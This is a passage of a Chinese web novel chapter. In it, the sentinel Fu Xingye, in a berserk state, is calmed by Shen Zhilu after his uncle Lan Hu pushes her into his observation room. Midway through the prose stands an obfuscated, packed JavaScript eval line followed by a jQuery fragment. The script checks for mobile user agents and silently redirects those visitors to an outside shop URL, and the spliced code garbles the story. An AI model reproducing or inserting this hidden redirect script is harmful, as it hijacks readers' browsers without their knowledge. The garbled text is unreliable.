守卫指了指一片漆黑的显示屏,硬着头皮道。
“这已经是观察室的最后一个摄像头了。”
不管摄像头的位置再隐蔽,材质再坚固,在扶星野精神力的覆盖范围内全都白费。
没有扶谦和岚虎在场,他们也不敢开门进去,所以对里面的情况还是两眼一抹黑。
岚虎深吸了一口气,又缓缓吐出来。
“什么时候醒的?”
守卫看他面色难看,回话也更加小心。
“您出去之后半个小时左右就醒了,他。。看起来状态不是很好。”
扶星野何止状态不好,那简直可以说是很差了。
他身上的作战服已经被撕裂,肌肉紧实的上半身完全赤裸,裤子也条条缕缕破烂不堪,双眸更是已彻底变得猩红冰冷,和暗狱中之前那些因完全狂化被“处决”的哨兵看起来别无二致。
唯一的区别就是,他看起来尚且还存有一丝清醒,至少没有如野兽一般失去理智地怒吼——
当然,他那放肆撕咬的精神体除外。
扶星野现在的情况,岚虎如果真把沈枝露放进去,那和草芥人命也没什么区别了,虽说他对于无关紧要之人良心不多,但也不至于一点没有。
打消了之前的想法后,他朝谈松使了个眼色,示意谈松把沈枝露带走,却没想到他还未开始动作,观察室里却突然响起了一个声音。
“岚虎,你把谁带过来了?”
扶星野许久未曾开口,嗓音嘶哑得不成样子,话里却带着显而易见的薄怒。
他的五感在暴动中不受控制地肆意蔓延,在暗狱里各种令人作呕的味道里,敏锐地捕捉到了一股熟悉又勾人的甜香。
听到他这句话,岚虎却突然笑了起来,没有在意世侄直呼他名字的不敬,满脑子只有一句话。
他赌对了。
“星野,岚叔知道你待在暗狱里心情不好,只是想让你的朋友来陪陪你而已。”
听到他的话,沈枝露总算搞清楚了岚虎的意图。
真是不负她所料地恶心。
“砰!”
伴随着从观察室里传来的一记猛烈撞击声,扶星野沉声怒喝道。
“滚!把她送回去,我不需要。”
扶谦的新药研制最少也得几天,星野从麻醉中醒得这么早,狂暴状态也没有任何好转,他怎能坐视不管。
岚虎走到沈枝露身边,用精神力短暂竖起一瞬间的屏蔽场,低声警告她道。
“尽你所能安抚他,除此之外别做其他多余的事。”
最后一个字的话音刚落,他用全部精神力撑起的屏蔽场便被一股凌厉的力道狠狠打破,扶星野震怒的声音也再次响起。
“我说放她走,你是聋了吗?!”
“呃!咳咳!”
岚虎只觉得自己的精神域被强势攻入,一口腥甜的鲜血涌到喉咙口,又被他强自咽下,勾唇笑了起来。
好小子,这会儿暴动的精神力明显比回来之前更强,看起来当时是真的已经对他和扶谦手下留情了。
他不再迟疑,果断摁下了观察室大门的控制按钮。
观察室的门有三层,岚虎不敢一次性全部打开,只开了外面两层,推着沈枝露进门之后迅速关上,然后才把最后一扇大门打开。
门刚开了一条缝,一阵毁天灭地的精神力便朝他压制过来,岚虎几乎是瞬间就感觉自己胸口剧痛,刚才强自咽下的血再也忍不住喷了出来。
“吼!”
紧接着,一只巨大雪白的利爪精准绕过被他推进去的女孩,不再像早上一般对他留手,径直朝岚虎的门面挥了过来,显然是被他逼出了真火。
好在最里层的大门关门速度极快,岚虎把沈枝露推进门之后就忍住不适,快速摁下关门按钮并急速往一旁躲去。
“嘭!”地一声巨响,雪虎的利爪结结实实地拍在门上,整个暗狱里都能感觉到一阵明显的震动。
看着眼前紧闭的大门,岚虎在撑腿喘着粗气的同时总算松了口气。
好在还是顺利把人送进去了,希望起码能有点效果吧。
雪虎一击未中,顿时又狂暴地怒吼几声,近两米长的庞大身躯整个立起,又要再举爪把大门拍碎。
结果它还没来得及动作,突然就感觉到一只温润细腻的小手抓住了自己的尾巴,还颇感新鲜地动了动手指,圈紧揉了揉。
雪虎猝不及防被握住敏感处,顿时整个软在了地上,浑厚的吼声也变了调,成了小猫般的撒娇嘤咛。
“呜~”
沈枝露只是好奇扶星野的精神体到底是什么,才伸手摸了一把,没想到竟然握到了一手毛茸茸的尾巴。
手心的柔软蓬松感让她忍不住蹲下身,轻拽着它的尾巴,探索着往白虎的背上一点点摸过去。
扶星野和自己的精神体共感,加上过于高敏的五感,只觉得炸裂火花般的酥麻沿着尾椎骨一路攀升,呼吸很快就乱得不成样,喉咙里极快地“唔”了声,急促喊她。
“沈枝露!”
听到他嘶哑的声音,沈枝露这才想起自己此行的目的,停下撸毛的动作,然后放出自己的精神力触手,起身往他的方向走了过去。
扶星野双眸仍泛着猩红,目不转睛地看着她一步步走到床边,纤白的手指触到深色的丝质床单上,再摸索着一点一点滑过来,只觉得整个人像是被钉在了床上,丝毫挪不动身子。
很快,沈枝露的手便顺理成章地碰到了他紧紧攥着床单的坚硬指骨。
她的指尖稍稍一顿,又沿着他结实的手臂、滚烫的胸膛和滑动的喉结一路摸到了脸上。
确认完毕,还是那个她无比熟悉的面部轮廓。
沈枝露轻叹口气,从棱角分明的下颌往上,慢慢移到他的发顶,然后晃晃手指温柔地撸了几下。
“小可怜。”
扶星野将自己用精神力竖起的屏蔽场缩小至刚好能把两个人罩在里面。
抬眼看到女孩脸上溢于言表的心疼,他内心被强自压制的暴虐和狂躁似乎就已经无声无息消去了大半。
扶星野屏住呼吸,长指悬停在她白净面容上浓烈的眉眼间,却始终没触上去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514600|202076||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“他们都说我不知好歹,扶岚两家倾尽全族之力用最好的药剂供养我,我却还是难堪重任,自甘堕落成狂化哨兵。”
沈枝露轻嗤一声,吐出两个字。
“放屁。”
听到她斩钉截铁的语气,扶星野心下一震,失神地望向她。
“扶星野,你不欠他们任何人,也不必为此有任何心里负担。”
“没有扶谦那些不知所谓的药,没有他们自以为是的关心,你的路明明可以走得更好,更稳,根本不必承受这些痛苦。”
更不会走向剧情中彻底狂化的深渊。
扶星野鼻头泛酸,喉头重重地快速滚动几下,在视线模糊之前用力将沈枝露揽进怀里,两只大手紧紧扣住她的肩膀。
猛地被按进他赤裸坚实的胸膛,沈枝露还愣了一瞬,感受到肩颈处微凉湿润的触感后,才迟钝地反应过来。
她抬手轻轻揉了揉他的后颈,然后放出自己的精神力触手包裹住扶星野,温柔地抚慰他混沌不安的情绪。
在狭小禁闭的屏蔽场中,任何不属于自己的气味和动作都会通过感官放大无数倍,尤其是对扶星野这样五感极其敏锐的哨兵来说,更是如此。
空气中弥漫着的甜香已经浓郁到让人无法思考的地步,他在情绪平静下来之后,注意力便不由自主就被转移,温热的嘴唇不自觉地轻轻蹭磨着女孩细嫩的颈肉。
沈枝露给扶星野做精神力按摩,放松到差点把自己睡过去时,突然感觉到一只毛茸茸的尾巴在她的腕上扫过来,扫过去。
几乎是同时,颈上也传来了异样却熟悉的触感。
她微微偏头,避开颈边人无意识的动作,终于再次记起自己此行的目的。
“等会,我先帮你做个疏导。”
扶星野想起上次她给自己疏导时的感受,白皙的耳垂染上红晕,眼皮快速眨动了两下,乖乖应了声。
“好。”
二十分钟后,专心致志完成清洁的沈枝露松了口气。
这次的疏导效果相较上次有了很大的提升,虽然依然没有能进入扶星野的精神域,但外部的“感官垃圾”已经被她清理地差不多了,估计再来一次就能成功进入精神域。
更让她感到惊喜的是,自己精神力触手能够达到的范围也一下子提升到了几十米。
走路的时候总算能有点底了。
但当她往外抽出自己的精神力触手,把注意力放回现实之后,却发现自己靠着的胸膛处浸出了一层薄汗,耳边扶星野的呼吸声比上次还要粗重,大掌也仍紧紧勒在她的腰间。
沈枝露确定自己的疏导是有效的,有些疑惑地问了他一句。
“还是很难受?”
扶星野闭眼忍耐过这一波激烈的感受,才舔了下干渴的嘴唇回她。
“不,我很好。”
沈枝露看不到他的异常,放下心来,趁着他的屏蔽场还在最后交代道。
“扶谦给的药该吃就吃,我下次会帮你清理掉。”
她的声音轻柔却坚定。
“乖乖的,等我带你回家。”